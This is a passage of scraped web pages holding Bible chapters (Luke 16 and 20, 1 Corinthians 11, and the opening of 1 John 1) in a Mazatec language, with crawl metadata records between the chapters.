kiìchja̱ ngajo‑la̱ Nainá, jñà tímakjeén xo̱jo̱n koi skanda k'e̱ nga j'iì Juan xi kis'iìn bautizar xi̱ta̱. Tje̱n‑ne na̱chrjein koi, skanda i̱'ndei̱, tínokjoáya 'én ndaà‑la̱ Nainá kó s'ín otíxoma Nainá. Ngats'iì xi̱ta̱ xi mejèn‑la̱ kjoa̱has'en‑jiìn ñánda tíhotíxoma Nainá, bínè‑la̱ yijo‑la̱. 17''Ñó 'in tjín tsà jè i̱sò'nde ko̱ ngajmiì chi̱ja, ta̱nga ìsa̱á tà 'ñó 'in tjín nga chi̱ja jngoò letra ts'e̱ kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés. Mìkiì chi̱ja ni̱ta̱ kjé‑ne ―kitsò Jesús. 18―Ni̱ta̱ yá‑ne xi tsjiìn chjo̱ón‑la̱ i̱kjoàn bixan‑ko̱ jngoò chjo̱ón xi kj'ei̱í, kjoa̱ chijngui tís'ín; ti̱koa̱á jè x'i̱n xi bixan‑ko̱ chjo̱ón xi kitsjiìn x'i̱n‑la̱, ti̱koa̱á kjoa̱ chijngui tís'ín ―kitsò‑ìsa Jesús. 19Jesús kitsò: ―Tsibìjna jngoò xi̱ta̱ nchi̱ná xi 'ñó ndaà kjoàn nikje chjí xi tsohòkjá; na̱chrjein inchijòn kis'iìn s'eí xi ta̱xki̱ 'ñó ndaà ma. 20Ti̱koa̱ tsibìjna jngoò xi̱ta̱ i̱ma̱ xi Lázaro ki'mì, xi jtsé tjín yijo‑la̱. Ya̱á bìjna xotjoa̱ ni'ya‑la̱ jè xi̱ta̱ nchi̱ná. 21Xi̱ta̱ i̱ma̱ jè, fahajiìn xó‑la̱ jñà xi̱‑la̱ tsojmì xi kine jè xi̱ta̱ nchi̱ná nga bixòngui ími̱xa̱; ti̱koa̱á jñà nañá bijchó xó nga tomàjno jtsé‑la̱. 22K'e̱ nga k'en jè ndí xi̱ta̱ i̱ma̱, jñà àkja̱le̱‑la̱ Nainá kiìko̱; ya̱á kisìkíjnat'aà‑la̱ Abraham. Ti̱koa̱á chaán k'en jè xi̱ta̱ nchi̱ná; i̱kjoàn kisìhijiìn. 23'Ya̱ i̱'nde ts'e̱ mik'en ñánda nga tísíkjeiín kjo̱'in jè xi̱ta̱ nchi̱ná, kiskoòtsejèn, kijtseèxkon Abraham nga kjiìn tíjna; ya̱á tíjnat'aà‑la̱ jè Lázaro. 24Xi̱ta̱ nchi̱ná, k'e̱é 'ñó kiìchja̱ kitsò: \"¡Na̱'èn Abraham, cha̱hi̱ma̱‑takòn‑ná! Ti̱kasín Lázaro nga kàtasíka'nchi̱ jnótsja ya̱ i̱jiìn nandá nga kàtasíkijne 'nchán ni̱je̱n‑na̱; 'ñó tse kjo̱'in tìsìkjiaán i̱ i̱jiìn ni'ín.\" 25Jè Abraham kitsò‑la̱: \"Na̱'èn, ti̱kítsjiìn k'e̱ nga tsijni i̱sò'nde, 'ñó ndaà tsijni. Jè Lázaro, kjo̱'iín kisìkjeiín, ta̱nga i̱'ndei̱, ndaà tíjna i̱jndé. Ngaji̱, kjo̱'iín tìnìkjeiín. 26K'oa̱á s'ín tjín, ti̱koa̱á jngoò xa̱jngá jñò xi 'ñó na̱nga̱ kijna‑ikòn mé‑ne nga mìkiì ko̱ma ján ko̱tot'aà jñà xi̱ta̱ xi i̱ títsa̱jna; ti̱koa̱ xi títsa̱jna ján, mìkiì ko̱ma kji̱nchrobà i̱jndé.\" 27'Kitsò jè xi̱ta̱ nchi̱ná: \"Na̱'èn Abraham, 'a̱n bìtsi'bà‑lè ti̱kasín Lázaro ya̱ ni'ya‑la̱ Na̱'èn‑na̱; 28'òn ma‑ne 'ndsè xi títsa̱jna; kàtèno̱jmí‑la̱ xi o̱kixi̱ mé‑ne nga ti̱koa̱ mì i̱ kji̱nchrobà‑ne i̱'nde ts'e̱ kjo̱'in.\" 29Abraham kitsò‑la̱: \"Xi̱ta̱ xingui̱i, jyeé tjín‑la̱ xo̱jo̱n‑la̱ Moisés ko̱ ts'e̱ xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá; ¡jñà kàta'nchré‑la̱!\" 30K'e̱é kitsò jè xi̱ta̱ nchi̱ná: \"Majìn, na̱'èn Abraham, tsà jngoò mik'en xi jye kijtseè kjo̱'in kjoi̱ ke̱èno̱jmí‑la̱, si̱ìkájno jé‑la nga mì ti̱ jé ko̱hótsji‑ne.\" 31Jè Abraham kitsò‑la̱: \"Tsà mìkiì 'nchré‑la̱ Moisés ko̱ xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá, ti̱koa̱á mìkiì ko̱kjeiín‑la̱ na̱s'ín kjoa̱áya jngoò‑la̱ mik'en.\"\nSan Lucas 16","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Luke\/16","date":"2013-12-10T19:10:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164023947\/warc\/CC-MAIN-20131204133343-00031-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.000007987,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.0000079870224}","num_words":795,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.286,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Koni s'ín s'iaàn 'a̱n nga kjinguì‑la̱ Cristo, k'oa̱ ti̱s'ín chjínguì‑ná. 2Ndí 'ndsè ko̱ tichjaá, ndaà 'nè‑nò nga nìkítsjeèn i̱t'aà ts'a̱n ngats'iì kjoa̱ xi s'iaàn; ti̱koa̱ nìkitasòn kjo̱tíxoma xi 'a̱n kisìkatoya‑nò. 3Ta̱nga mejèn‑na nga kàtasijiìn‑nò nga jngoò ìjngoò xi̱ta̱ x'i̱n, jè Cristo xi sko̱‑la̱ ma, ko̱ jè chjo̱ón, jè xi̱ta̱ x'i̱n xi sko̱‑la̱ ma, koni jè Cristo, jè Nainá xi sko̱‑la̱ ma. 4Tsà jngoò xi̱ta̱ x'i̱n xi tíjtsa sko̱ k'e̱ nga chja̱t'aà‑la̱ Nainá, o k'e̱ nga chja̱ya 'én‑la̱ Nainá, mìkiì beèxkón Cristo nga jè tíjna sko̱‑la̱. 5Ta̱nga tsà jngoò chjo̱ón, tsà mìkiì bíjtsa sko̱ k'e̱ nga chja̱t'aà‑la̱ Nainá, o k'e̱ nga chja̱ya 'én‑la̱ Nainá, mìkiì beèxkón x'i̱n‑la̱ nga jè tíjna sko̱‑la̱. K'oa̱á ngaya‑la̱ koni tsà kisijno‑la̱. 6Tsà jngoò chjo̱ón xi majìn‑la̱ bíjtsa sko̱, ti̱koa̱á‑ne kàtasijno‑la̱ tsja̱ sko̱. Ko̱ tsà masobà‑la̱ nga sijno‑la̱, kàtíjtsa sko̱. 7Jè xi̱ta̱ x'i̱n, mìkiì tjí'nde nga ki̱ìjtsa sko̱, nga k'oa̱á s'ín 'ya‑la̱ koni Nainá, ko̱ i̱t'aà ts'e̱ xi̱ta̱ x'i̱n, 'yaá‑la̱ kjoa̱jeya‑la̱ Nainá; ta̱nga i̱t'aà ts'e̱ chjo̱ón 'yaá‑la̱ kjoa̱jeya‑la̱ x'i̱n‑la̱. 8Jè x'i̱n, mìtsà ya̱ itjokàt'aà‑ne ts'e̱ chjo̱ón; jè chjo̱ón xi i̱t'aà ts'e̱ xi̱ta̱ x'i̱n itjokàt'aà‑ne. 9Jè xi̱ta̱ x'i̱n, mìtsà kjoa̱ ts'e̱ chjo̱ón kisindaà‑ne; ta̱nga jè chjo̱ón, kjoa̱ ts'e̱ x'i̱ín kisindaà‑ne. 10Koií kjoa̱‑la̱ jè chjo̱ón tjínè‑la̱ nga ki̱ìjtsa sko̱, seña‑né nga beèxkón x'i̱n‑la̱, mé‑ne nga ti̱koa̱ skoe̱‑ne jñà àkja̱le̱. 11Ta̱nga koni s'ín tjíndaà‑la̱ Na̱'èn‑ná, tsà tsjìn chjo̱ón, mìkiì tíjna x'i̱n; ko̱ tsà tsjìn x'i̱n, mìkiì tíjna chjo̱ón. 12Koni s'ín komà nga jè chjo̱ón, i̱t'aà ts'e̱ x'i̱ín kisindaà‑ne; ti̱koa̱á jè x'i̱n, i̱t'aà ts'e̱ chjo̱ón ts'iìn. Ta̱nga i̱t'aà ts'e̱ Nainá nchrobá yije‑ne. 13Jñò, ndaà ti̱kítsjeèn: ¿A ndaà tjín tsà mìkiì tíjtsa sko̱ jñà íchjín k'e̱ nga chja̱t'aà‑la̱ Nainá? 14Ti̱jé‑ne i̱sò'nde, béno̱jmíya‑ná nga kjoa̱sobà‑né k'e̱ nga jè xi̱ta̱ x'i̱n síndojò tsja̱ sko̱. 15Ta̱nga ndaà tsejèn k'e̱ nga jngoò chjo̱ón xi ndojò kjoàn tsja̱ sko̱. Kjoa̱jeya ts'e̱‑né. Koií xá kits'iì‑la̱ tsja̱‑la̱ nga ndojò kjoàn, mé‑ne nga ki̱ìjtsa‑ne sko̱ koni tsà payo̱. 16Tsà tjín xi̱ta̱ xi mìkiì tíjngoò ikon koni bixón‑je̱n, k'oa̱á s'ín kàtasijiìn‑la̱, ngaje̱n ko̱ na̱xa̱ndá‑la̱ Cristo, nguì k'oa̱á s'ín 'nè‑je̱n, tsjìn xi kj'ei̱í s'ín. 17Nga tìkjiì ìsa̱‑nò, mìkiì ndaà síkítsa̱jna‑nò, koií kjoa̱‑la̱ nga mìkiì ndaà titsa̱'nè k'e̱ nga maxkóya; ch'o titsa̱'nè. 18Jè kjoa̱ xi tíjna ítjòn i̱t'aà tsa̱jòn, k'oa̱á s'ín ki'nchrè, jñò xi na̱xa̱ndá‑la̱ Cristo 'mì‑nò, k'e̱ nga maxkóya, jò xó ya maà. Mejèn tsà mokjeiín‑na tsà koií na̱chrjein‑la̱ tsà k'oa̱á s'ín titsa̱'nè. 19Ta xó k'oa̱á‑la ko̱mat'in‑nò nga s'e̱é xi̱ta̱ xinguio̱o xi si̱ìjòya‑nò, mé‑ne nga jcha̱‑la̱ yá‑ne xi tjín‑la̱ o̱kixi̱. 20K'e̱ nga maxkóya nga bichioò, koni s'ín tsakóya Cristo, mìtsà kixi̱ kjoa̱ nga jè nìkítsjeèn‑yaà koni s'ín komàt'in Na̱'èn‑ná k'e̱ nga k'en. 21K'e̱ nga bichioò, tjín i'nga xi̱ta̱ xi ítjòn kjèn tsojmì xi bijchóko̱; mìkiì koña‑la̱ xíkjín nga tsjá i̱tsé‑la̱; skanda tjín xi mach'i̱. Ta̱nga jñà xi̱ta̱ xi i'nga, i̱ma̱á ijò‑la̱ nga mìkiì tsjá i̱tsé‑la̱. 22Jñò, ¿a tsjìn‑nò ni'ya ñánda nga bichioò ko̱ nga 'yò? ¿Mé‑ne nachrjekàngui‑nò xi̱ta̱ na̱xa̱ndá‑la̱ Cristo koa̱ nìsobà‑là xi̱ta̱ i̱ma̱ xi tsjìn‑la̱ tsojmì xi kine? K'e̱ nga k'oa̱s'ín 'nè, ¿kó s'ín xán‑nò? ¿A ndaà síkítsa̱jna‑nò? Majìn, mìkiì ndaà síkítsa̱jna‑nò. 23Koni s'ín tsakóya‑na Na̱'èn‑ná, ti koií‑ne xi 'a̱n tsakoòya‑nò. Jè ni̱tje̱n k'e̱ nga Na̱'èn‑ná Jesús kitsobà'ñó xi̱ta̱, kiskoé i̱nchra̱jín, 24kitsjaà‑la̱ kjo̱ndaà Nainá, i̱kjoàn kisìxkoa̱ya, kitsò: \"Chjoé, jè‑né xi yijo‑na̱ nga tìtsjaà kjo̱tjò nga ki̱yá xi kjo̱ndaà tsa̱jòn. K'oa̱ ti̱ s'ín t'e̱en nga ti̱xkoa̱ya i̱nchra̱jín, mé‑ne nga si̱kítsjeèn‑nò i̱t'aà ts'a̱n.\" 25K'oa̱á ti̱s'ín kis'iìn k'e̱ nga jye tsakjèn, kiskoé chi̱tsín, kitsò: \"Vino xi tjíya chi̱tsín jè, jè jní‑na xi síkixi̱ya kjoa̱ xi̱tse̱ xi bìndaàjiìn‑ko̱‑nò. Jñò, k'e̱ nga ìjngoò ìjngoò k'a s'io̱o, k'oa̱á s'ín t'e̱en mé‑ne nga si̱kítsjeèn‑nò i̱t'aà ts'a̱n.\" 26K'e̱ nga ìjngoò ìjngoò k'a ki̱chioò i̱nchra̱jín jè, koa̱ s'io̱ya vino chi̱tsín jè, i̱t'aà ts'e̱é kjoa̱biyaà‑la̱ Na̱'èn‑ná ki̱nókjoa̱ya, skanda k'e̱ nga kjoi̱í ìjngoò k'a Cristo. 27Ni̱ta̱ yá xi̱ta̱‑ne xi ko̱kje̱n i̱nchra̱jín jè, o xi skoíya chi̱tsín ts'e̱ Na̱'èn‑ná, tsà mìkiì skoe̱xkón k'e̱ nga ko̱kje̱n, jé tíhótsji i̱t'aà ts'e̱ Na̱'èn‑ná nga tíhochrjengui yijo‑la̱ ko̱ jní‑la̱. 28Koií kjoa̱‑la̱, ítjòn ndaà ti̱kítsjeèn i̱jiìn ini̱ma̱‑nò kós'ín titsa̱jnako̱o Nainá ko̱ xi̱ta̱ xinguio̱o. I̱skan ti̱chioò i̱nchra̱jín koa̱ t'io̱ya chi̱tsín ts'e̱ Na̱'èn‑ná. 29Tsà yá xi̱ta̱ xi ko̱kje̱n i̱nchra̱jín koa̱ skoí vino xi tjíya chi̱tsín, tsà mìkiì si̱ìkítsjeèn nga jè yijo‑la̱ Na̱'èn‑ná, xi̱ta̱ jè, kjo̱'iín tíbínè‑la̱ yijo‑la̱. 30K'oa̱á ma‑ne kjìn xi̱ta̱ xinguio̱o xi ch'in bít'aà‑la̱ koa̱ tjín xi indaàkjoa̱ títsa̱jna, skanda jye kjò kjìn biyaà. 31Tsà ndaà si̱kítsjeén kós'ín titsa̱jnakoa̱á Nainá ko̱ xi̱ta̱ xinguia̱á, Na̱'èn‑ná mìkiì kjo̱'in tsjá‑ná. 32Ta̱nga tsà jè Na̱'èn‑ná tsjá‑ná kjo̱'in, koi‑né nga mejèn‑la̱ síkixi̱ya‑ná mé‑ne mìkiì ko̱ko̱t'aà‑ná kjo̱'in xi mìkiì fehet'aà ni̱ta̱ kjé‑ne xi tjoé‑la̱ jñà xi̱ta̱ i̱sò'nde xi mìkiì beèxkón Nainá. 33K'oa̱á ma‑ne jñò ndí 'ndsè k'e̱ nga maxkóya nga bichioò, chíñakjoa̱‑là xinguio̱o. 34Tsà tjín i'nga xi 'ñó ijò‑la̱, ti̱chioò ni'ya‑nò, mé‑ne k'e̱ nga ko̱xkóya mì kjo̱'in tsjá‑nò Na̱'èn‑ná. Jñà kjoa̱ xi i'nga xi tjín ìsa̱‑nò, k'e̱ kìjchokon‑nò kíndaàjñaá.\n1 Corintios 11","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/1Cor\/11","date":"2013-12-07T14:09:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163054576\/warc\/CC-MAIN-20131204131734-00032-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":29,"top_langs":"{\"maa_Latn_score\": 1.0000089406967163}","num_words":775,"character_repetition_ratio":0.067,"word_repetition_ratio":0.01,"special_characters_ratio":0.243,"stopwords_ratio":0.257,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jngoò na̱chrjein, k'e̱ nga jè Jesús tíhokóya‑la̱ xi̱ta̱ 'én ndaà‑la̱ Nainá ya̱ ndi̱tsin i̱ngo̱ ítjòn, ijchò xi̱ta̱ sko̱‑la̱ no̱'miì ko̱ xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés; kjihijtako̱ xi̱ta̱ jchínga. 2Kitsò‑la̱: ―Koa̱tìn‑náje̱n, ¿mé kjo̱tíxoma xi tsjá'nde‑lè koni s'ín 'nì? ¿Yá xi kitsjaà‑lè kjo̱tíxoma koi? 3Kiìchja̱ Jesús, kitsò: ―Ti̱koa̱á 'a̱n, jngoò kjoa̱ skònangui‑nò. Koa̱tìn‑ná: 4¿Yá xi kitsjaà‑la̱ kjo̱tíxoma Juan nga kis'iìn bautizar xi̱ta̱? ¿A Nainá‑né xi tíjna ngajmiì, o xi tà xi̱ta̱‑né? 5Jñà xi̱ta̱ koi k'e̱é tsajoóya‑ne; kitsò‑la̱ xíkjín: ―Tsà kixoán: \"Nainá kitsjaà‑la̱ kjo̱tíxoma\", ki̱tso̱‑né: \"¿Mé‑ne nga mìkiì kòkjeiín‑nò i̱t'aà ts'e̱?\" 6Ti̱koa̱ tsà kixoán: \"I̱t'aà ts'e̱ xi̱ta̱‑né\", jñà xi̱ta̱ na̱xa̱ndá nda̱jo̱ó koi̱ì'nè‑ná nga k'oa̱á s'ín mokjeiín‑la̱ nga jè Juan xi kiìchja̱ ngajo‑la̱ Nainá. 7K'e̱é kitsò: ―Mìkiì 'ya‑je̱n yá xi kitsjaà‑la̱ kjo̱tíxoma. 8Jè Jesús, kitsò‑la̱: ―Ti̱koa̱á 'a̱n, mìkiì k'oa̱ xán‑nò yá‑né xi kitsjaà‑na kjo̱tíxoma koni s'ín s'iaàn. 9I̱kjoàn tsibíts'ia̱ Jesús nga kiìchja̱‑la̱ xi̱ta̱ na̱xa̱ndá; tsibéno̱jmí jngoò‑la̱ kjoa̱ xi mangásòn, kitsò: ―Jngoò k'a jngoò xi̱ta̱ tsibítje̱ toò uva, i̱kjoàn kisìkìña‑la̱ xi̱ta̱ xi kj'ei̱í nga kisìxásòn; jè nei‑la̱ nangui, kjiìn nó kiì. 10K'e̱ nga ijchò na̱chrjein nga jye kòjchá toò uva, jè nei‑la̱, kisìkasén jngoò chi̱'nda‑la̱ nga tjoé chiba‑la̱ chjí‑la̱ toò uva xi jè oko̱‑la̱; ta̱nga jñà xi̱ta̱ xi kisìxásòn nangui, tà kiskaàn‑ko̱‑né, tà kisìkasén tiyaá‑ne. 11Xi komà i̱skan, jè nei‑la̱ nangui ìjngoò xi̱ta̱ chi̱'nda‑la̱ kisìkasén; k'oa̱á ti̱s'ín kisìko̱; kiskaàn‑ko̱, ch'o kisìko̱, i̱kjoàn kisìkasén tiya‑ne. 12Ìjngoò kisìkasén xi ma‑ne jàn xi̱ta̱ chi̱'nda; tà ngásòn kisìko̱; kisìki'on, koa̱ tsachrjekàjiìn nangui‑la̱. 13'K'e̱é kitsò jè nei‑la̱ nangui: \"¿Mé xi s'iaàn? Jè‑la sìkasén ki'ndí‑na̱ xi 'ñó tsjakeè; jè‑la xi skoe̱xkón.\" 14Ta̱nga jñà xi̱ta̱ chi̱'nda koi, k'e̱ nga kijtseèxkon, kitsò‑la̱ xíkjín: \"Jè jèe̱ xi tjoé kjo̱tjò‑la̱ i̱'nde; si̱k'eén mé‑ne nga tsa̱ján ko̱ma i̱'nde.\" 15Tsachrjekàjiìn ya̱ ñánda títje̱ toò uva; i̱kjoàn kisìk'en. 'Jñò, ¿kó bixón? Nei‑la̱ nangui, ¿mé xi si̱ìko̱ xi̱ta̱ koi? 16Kjoi̱í sík'en xi̱ta̱ koi; kj'ei̱í xi̱ta̱ si̱ìnga̱tsja jè nangui ñánda tjín toò uva. Jñà xi̱ta̱ xi nchi'nchré‑la̱ Jesús kitsò: ―¡Ni̱kjé‑ne k'oa̱s'ín ko̱ma! 17Ta̱nga Jesús, kiskoò'an, kitsò‑la̱: ―Tsà majìn, ¿kó bixón? ¿Kó tsòya‑ne koni s'ín tíchja̱ Xo̱jo̱n xi tjít'aà 'Én‑la̱ Nainá nga tsò?: \"Jè nda̱jo̱ xi tsachrjekàngui chji̱ne̱chrjó nga sa̱ ítjòn, jè‑né xi komà nda̱jo̱ tàts'en chrjó‑la̱ ni'ya.\" 18Ngats'iì xi ya̱ ki̱xo̱sòn nda̱jo̱ jè, ko̱xkoa̱ya‑né; ko̱ tsà jè nda̱jo̱ ska̱nè xi̱ta̱, ko̱chijo‑né. 19Jñà xi̱ta̱ sko̱‑la̱ no̱'miì ko̱ xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés, mejèn‑la̱ nga ti̱jè‑ne hora tsobà'ñó Jesús, nga jè kjoa̱ xi mangásòn, kiskaàya‑la̱ nga kondra̱ ts'e̱ koni s'ín tsibéno̱jmí; ta̱nga jñà xi̱ta̱ na̱xa̱ndá kitsakjòn‑la̱. 20Jñà xi̱ta̱ sko̱‑la̱ no̱'miì kisìkinda̱; kisìkasén‑'ma‑la̱ xi̱ta̱ xi ijchò 'nchré‑la̱ xi k'oa̱s'ín kis'iìn koni tsà xi̱ta̱ ndaà nga mejèn‑la̱ sa̱kòtsji jngoò‑la̱ 'én xi ch'o tsò mé‑ne nga ko̱ma si̱ìnga̱tsja‑ne jè gobernador xi tjíya kjo̱tíxoma tsja nga jè koi̱ìndaàjiìn. 21Jñà xi̱ta̱ koi kiskònangui‑la̱, kitsò‑la̱: ―Maestro, 'ya‑náje̱n jñà 'én xi nokjoì, ndaà okoòyi; mìkiì chjaàjiìn xi̱ta̱; k'oa̱á s'ín okoòyi ndi̱yá‑la̱ Nainá koni s'ín tjín xi kjoa̱ kixi̱. 22¿A ndaà tjín nga kíchjítjì‑je̱n tsojmì i̱t'aà ts'e̱ xi̱ta̱xá ítjòn ts'e̱ Roma? ¿A xi majìn‑né? 23Jesús, ti̱k'e̱é kijtseèya‑la̱ nga nchikona̱cha̱n‑la̱, kitsò‑la̱: ―¿Mé‑ne nga mejèn‑nò nga 'a̱n chít'aà‑ná? 24Ta̱kó jngoò‑ná to̱n. ¿Yá ts'e̱ i̱sén ko̱ 'ín xi tjít'aà? Kitsò xi̱ta̱ koi: ―Ts'e̱é César xi xi̱ta̱xá ítjòn ts'e̱ Roma. 25Jesús kitsò: ―Tjiì‑lá César xi ts'e̱ César, koa̱ tjiì‑là Nainá xi ts'e̱ Nainá. 26Ngats'iì 'én xi kiìchja̱ Jesús nga nguixko̱n xi̱ta̱ na̱xa̱ndá, mìkiì kisakò‑la̱ xi ko̱ma ko̱hòngui‑ne. Tà kjòxkón‑la̱; tà sa̱á tà jyò tsibìtsa̱jna. 27Jñà xi̱ta̱ saduceo xi mìkiì mokjeiín‑la̱ nga faáya‑la̱ xi̱ta̱ xi jye k'en ijchò kjònangui‑la̱ Jesús, kitsò‑la̱: 28―Maestro, Moisés, k'oa̱á s'ín kiskiì: Tsà jngoò xi̱ta̱ xi ki̱yá 'ndse̱, tsà tsjìn‑la̱ i̱xti k'e̱ nga ki̱yá, jè chjo̱ón‑la̱ mik'en, ti̱jè‑ne 'ndse̱ ki̱xan‑ko̱ ìjngoò k'a‑ne mé‑ne nga s'e̱‑la̱ i̱xti xi tje̱ ts'e̱ 'ndse̱. 29Kis'e xó jngoò k'a xi̱ta̱ xi itoò komà 'ndse̱. Jè xi síjna ítjòn, kis'e xó‑la̱ chjo̱ón; ta̱nga mìkiì kis'e‑la̱ i̱xti skanda kóni nga k'en. 30Jè 'ndse̱ xi ma‑ne jò, chixàn‑ko̱ó; ti̱koa̱á k'e̱ nga k'en, mìkiì kis'e‑la̱ i̱xti. 31Chjo̱ón jè, chixàn‑ko̱ó xi ma‑ne jàn; k'oa̱á xó s'ín chixàn‑ko̱ ngats'iì nga itoò 'ndse̱, ta̱nga ni̱jngoò xi kis'e‑la̱ i̱xti skanda k'e̱ nga k'en. 32Xi komà i̱skan, ti̱koa̱á k'en jè chjo̱ón. 33K'e̱ nga tsà kjoa̱áya‑la̱, nga itoò 'ndse̱, ¿yá‑né xi chjo̱ón‑la̱ ko̱ma? Nga jñà tsibìtsa̱jnako̱ nga itoò 'ndse̱. 34Jesús, k'e̱é kitsò‑la̱: ―Jñà xi̱ta̱ xi tjín na̱chrjein i̱'ndei̱, ko̱ chjo̱ón ko̱ x'i̱n, bixan‑né. 35Ta̱nga jñà xi̱ta̱ xi Nainá o̱ki̱tso̱ nga ok'ìn‑la̱ nga kjoa̱áya‑la̱ nga kítsa̱jna i̱sò'nde xi sa̱ kjoi̱í, mì ti̱ kiì ki̱xan‑ne. 36Ti̱koa̱á mì ti̱ kiì ki̱yá‑ne. K'oa̱á s'ín ngásòn kítsa̱jnakon koni àkja̱le̱; ya̱á kítsa̱jnako̱ Nainá nga i̱xti‑la̱ ma nga jye kòfaáya‑la̱. 37Ti̱jè‑ne Moisés k'oa̱á s'ín okóya nga jñà xi jye k'en, kjoa̱áya‑la̱. K'oa̱á s'ín tjít'aà xo̱jo̱n i̱t'aà ts'e̱ yá na'yá xi títì k'e̱ nga tsò Moisés: \"Jè xi Nainá 'mì‑lá, ti̱koa̱á Nainá tsò‑la̱ Abraham, Isaac, ko̱ Jacob.\" 38¡Jñà xi jye k'en, mìtsà Nainá tsò‑la̱ xi Nainá; tà jñà xi títsa̱jnakon xi Nainá tsò‑la̱! I̱t'aà ts'e̱ Nainá, ngats'iì‑né nga títsa̱jnakon. 39K'e̱é kiìchja̱ xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés, kitsò: ―Maestro, kixi̱í kjoa̱ 'én xi nokjoì. 40Ni̱ ti̱ jngoò xi̱ta̱ xi kjò'ñó‑ne ikon nga kiskònangui‑ìsa‑la̱. 41Jesús kitsò: ―¿Mé‑ne ko̱tsò‑ne jñà xi̱ta̱ nga jè xi Cristo, [xi̱ta̱ xi xó si̱ìkasén‑ne Nainá], nga ya̱ kji̱nchrobàt'aà‑ne tje̱‑la̱ xi̱ta̱xá ítjòn David? 42Ti̱jè‑ne David, tsò xo̱jo̱n‑la̱ ya̱ ts'e̱ Salmo: Jè Nainá kitsò‑la̱ Cristo, jè xi otíxoma‑na: \"Ti̱jnat'aà‑ná i̱ kixi̱‑na̱, 43skanda k'e̱ nga sìkítsa̱jnanguia kondra̱‑lè ñánda nchasòn ndso̱koiì nga 'a̱n, jye kisìkijne‑la̱.\" 44Jè David, tsà ko̱s'ín kitsò‑la̱ Cristo, ¿kó s'ín tjín‑ne nga ya̱ nchrobát'aà‑ne tje̱‑la̱ David? 45K'e̱ nga nchi'nchré ngats'iì xi̱ta̱ na̱xa̱ndá, Jesús kitsò‑la̱ xi̱ta̱ xi kota'yàt'aà‑la̱: 46―Ti̱kinda̱a yijo‑nò i̱t'aà ts'e̱ xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés. Sasén‑la̱ nga nikje ndojò ókjá. Ti̱koa̱á tsjaá ma‑la̱ nga ndaà beèxkón xi̱ta̱ xi kj'ei̱í, ndaà síhixat'aà ya̱ ndi̱tsi̱n. Ti̱koa̱á jñà ótsji íxi̱le̱ xi jncha ítjòn ya̱ ni'ya i̱ngo̱ sinagoga, ko̱ mejèn‑la̱ nga jñà kítsa̱t'aà ítjòn ími̱xa̱ k'e̱ nga kjèn xi̱ta̱ ñánda tjín s'eí. 47Faá'an ni'ya‑la̱ íchjín ka'àn xi jye k'en x'i̱n‑la̱. I̱kjoàn 'ñó ndojò fìko̱ o̱chikon‑la̱ nga mejèn‑la̱ nga bìtsa̱jna'ma nga mì jcha̱‑la̱ mé kjoa̱ xi s'ín. Jñà xi̱ta̱ koi ìsa̱á tse kjo̱'in s'e̱‑la̱.\nSan Lucas 20","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Luke\/20","date":"2013-12-12T17:33:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164653483\/warc\/CC-MAIN-20131204134413-00056-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.000007391,"language_script":"Latn","minhash_cluster_size":28,"top_langs":"{\"maa_Latn_score\": 1.0000073909759521}","num_words":981,"character_repetition_ratio":0.064,"word_repetition_ratio":0.006,"special_characters_ratio":0.244,"stopwords_ratio":0.305,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jè Jesús, jè 'Én xi síkíjnakon‑ná xi tíjna skanda ti̱sa̱ tàts'en‑la̱ kjoa̱. Ta̱nga i̱'ndei̱, jyeé kina'yà‑la̱je̱n, ko̱ xko̱ón ki'ya‑naje̱n, kichìtsejèn‑la̱je̱n kó kji, ti̱koa̱á ndsa̱á kinìko̱‑na̱je̱n. 2Jè 'Én jè, ki'ya tsejeén‑la̱. Ko̱ ki'ya‑náje̱n. Ko̱ nguì kjoa̱ kixi̱‑né xi bèno̱jmí‑je̱n xi i̱t'aà ts'e̱. Ko̱ ti̱koa̱á bèno̱jmíya‑nòje̱n jè 'Én xi síkíjnakon ini̱ma̱‑ná ni̱ta̱ kjé‑ne. Jè 'Én jè, k'e̱ nga ti̱sa̱ ítjòn, ya̱á tíjnat'aà‑la̱ Nainá. Ta̱nga i̱'ndei̱, jyeé tsatsejèn‑naje̱n. 3Bèno̱jmí‑naje̱n kjoa̱ xi ki'ya‑je̱n ko̱ xi kina'yà‑je̱n, mé‑ne jñá, k'oa̱ ti̱s'ín ngásòn ki̱tsa̱jnakoa̱á, koni s'ín ndaà titsa̱jnakoa̱á Nainá xi Na̱'én‑ná ma, ko̱ Ki'ndí‑la̱ xi Jesucristo. 4Koií xá titsa̱chjiì‑nòje̱n Xo̱jo̱n jè mé‑ne nga nguì ko̱ kjo̱tsja kàtasakó kjit'aà‑la̱ ini̱ma̱‑ná. 5K'oa̱á s'ín tjín jñà 'én xi tsakóya‑naje̱n Jesucristo, ko̱ koií‑né xi nokjoàyajiìn‑nòje̱n: Jè Nainá, kjoa̱ 